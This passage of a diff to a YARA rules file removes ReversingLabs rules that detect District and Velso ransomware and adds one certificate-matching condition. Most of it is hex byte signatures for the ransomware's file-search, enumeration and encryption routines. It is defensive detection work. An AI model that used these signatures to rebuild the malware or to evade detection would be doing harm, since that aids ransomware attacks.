?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 - C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 - ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_volumes_p* ) ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) -} -rule REVERSINGLABS_Win32_Ransomware_District : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects District ransomware." - author = "ReversingLabs" - id = "fc6abbc7-66f9-56e6-8106-5f360f25b092" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.District.yara#L1-L194" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9ce395636fd7719f503726df82998e1ac72e9e80fd7a4534bd2251ac9283af38" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "District" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 - 24 ?? 8B F1 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44 - 24 ?? ?? ?? ?? ?? 50 8D 45 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC ?? - C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 40 C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? 33 C9 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 8D 45 ?? 66 89 8C 24 ?? - ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8D - 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 40 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 33 C9 C7 44 - 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 EC - ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 C7 44 24 - ?? ?? ?? ?? ?? 50 51 8D 44 24 ?? 66 89 4C 24 ?? 50 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 66 89 44 24 ?? 8D 4C 24 ?? - 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56 8D 4C 24 ?? E8 ?? - ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? - ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 66 0F 6E C0 F3 0F E6 C0 C1 E8 ?? F2 0F 58 04 C5 - ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 56 8B D8 - } - $encrypt_files_p2 = { - E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 0F 1F 40 ?? 0F 1F 84 00 - ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? A3 ?? ?? ?? ?? 8D 44 24 ?? 50 56 - 53 57 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 56 FF 74 24 ?? 8B D3 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? F7 D8 6A - ?? 6A ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 56 FF 74 24 ?? 57 FF 15 ?? ?? - ?? ?? 83 6C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 - FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8D 4C 24 ?? 8D 45 ?? 0F 43 4C 24 ?? 83 7D ?? ?? 51 - 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 - 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 - C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? - 72 ?? 40 8D 4C 24 ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 - 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 - ?? 50 FF 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 44 24 - ?? 8B 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4C 24 ?? 50 FF - 74 24 ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 8B - 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 - C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? - ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C2 - } - $find_files = { - 53 55 56 57 6A ?? 8B F1 E8 ?? ?? ?? ?? 83 C4 ?? 8D 9E ?? ?? ?? ?? 8B E8 53 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 53 50 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D BE ?? ?? ?? - ?? 0F 1F 80 ?? ?? ?? ?? F6 03 ?? 57 74 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 75 ?? 57 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 50 8B CE E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 84 C0 74 - ?? 8B CE E8 ?? ?? ?? ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 80 7C 24 ?? ?? 75 - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D - 5B C2 - } - $enum_resources_1_p1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 56 57 33 C0 C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 - ?? 8B DA 8D 44 24 ?? 89 5C 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? - 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? - ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 3D - ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 ED 89 - 6C 24 ?? 39 6C 24 ?? 0F 86 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 DB 0F 8E ?? ?? ?? ?? C1 - E5 ?? 8B F3 89 6C 24 ?? 89 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 83 BC 2C ?? ?? ?? ?? ?? - 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 84 2C ?? ?? ?? ?? 66 83 78 ?? ?? 8D - 50 ?? 74 ?? 8D B4 24 ?? ?? ?? ?? 8D 48 ?? 8A 01 8D 52 ?? 88 06 8D 76 ?? 66 83 3A - } - $enum_resources_1_p2 = { - 8D 49 ?? 75 ?? 8B 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 - 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B4 2C ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? FF 70 ?? 8B 40 ?? 83 E0 ?? 50 8D 84 24 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? C6 44 24 ?? ?? 8B 56 ?? - F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 - A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 44 00 ?? 8A 41 ?? 8D - 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? - 88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? - 88 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? - 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 C2 ?? 74 ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? - 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F6 - } - $enum_resources_1_p3 = { - C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? - ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F6 C2 ?? 74 ?? 8D - 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 - 89 41 ?? 84 D2 79 ?? 8D 4C 24 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 - 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 - ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 - 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D - 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 - ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 - } - $enum_resources_2_p1 = { - 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? - ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? - 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? - ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? - 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? - ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 - 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C - 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 - 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? - ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A - 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 - ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 - A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? - ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 - } - $enum_resources_2_p2 = { - 01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D - 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 - 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 - 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 - C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 - 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 85 D2 79 - ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 - 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? - ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 - 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? 8D 4C 24 ?? 8D 51 ?? 8A 01 - 41 84 C0 75 ?? 2B CA 56 88 44 0C ?? FF D7 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D - } - $enum_resources_2_p3 = { - 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? FF D7 8B BC 2C ?? ?? ?? ?? 33 D2 - 8B CF 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 ?? 8B 6C 24 ?? 8B DF 8B - CB 42 8D 71 ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C - 24 ?? 8B 5C 24 ?? 8B CF 33 D2 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 - ?? 8B 9C 2C ?? ?? ?? ?? 8B 6C 24 ?? 0F 1F 40 ?? 8B CB 42 8D 71 ?? 8A 01 41 84 C0 75 - ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C 24 ?? 8B 5C 24 ?? 33 D2 8D 4F ?? 8A 07 47 - 84 C0 75 ?? 2B F9 8D 43 ?? 03 C7 74 ?? 8B BC 2C ?? ?? ?? ?? 0F 1F 40 ?? 8B C7 42 8D - 70 ?? 8A 08 40 84 C9 75 ?? 2B C6 40 03 C3 3B D0 72 ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? - 83 EE ?? 89 74 24 ?? 0F 85 ?? ?? ?? ?? 8B 6C 24 ?? 8B F5 C1 E6 ?? 8B 84 34 ?? ?? ?? - ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA - } - $enum_resources_2_p4 = { - 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4C 24 ?? E8 ?? ?? ?? - ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? - 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85 - C0 75 ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 66 - 8B 01 83 C1 ?? 66 85 C0 75 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? - ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 E9 - ?? ?? ?? ?? 8B CA 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? - ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? F6 84 34 ?? ?? ?? ?? ?? 74 ?? 8D - 8C 24 ?? ?? ?? ?? 8D 53 ?? 03 CE E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 45 89 6C 24 ?? 3B - 6C 24 ?? 0F 82 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 F6 8B 44 24 ?? 83 F8 ?? - 72 ?? 8B 4C 24 ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? - 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 - C4 ?? 5F 8B C6 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $encrypt_files_p* ) ) and ( $find_files ) and ( all of ( $enum_resources_1_p* ) ) and ( all of ( $enum_resources_2_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"SMART GREY\" LLC" and pe.signatures [ i ] . serial == "3b:e6:30:83:fb:b1:78:7b:44:5d:a9:75:83:72:14:19" and 1493942400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Velso : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Velso ransomware." - author = "ReversingLabs" - id = "72c7baaa-4f83-54c5-ba71-2b45e5eeefd2" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Velso.yara#L1-L230" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "602be848a26106a1bd46cfc515578f0628687e6cb352e609a274220a61bcb620" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Velso" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files_p1 = { - 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 A5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 89 04 24 E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? C9 C3 C7 04 24 ?? ?? ?? ?? 8B 4D ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? - ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? - ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? - 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? - C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? - E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? - ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? - ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 4D ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 - 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? - 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 - } - $find_files_p2 = { - 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 8D 95 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? - EB ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 52 52 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 51 51 74 ?? - 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 74 ?? - F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 89 85 ?? ?? ?? ?? - 8B 45 ?? 8B 51 ?? 8D 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 51 89 44 24 ?? 8B 45 ?? 89 44 24 - ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 - 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 - 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? - 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 - 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - ?? 83 C5 ?? 83 BD ?? ?? ?? 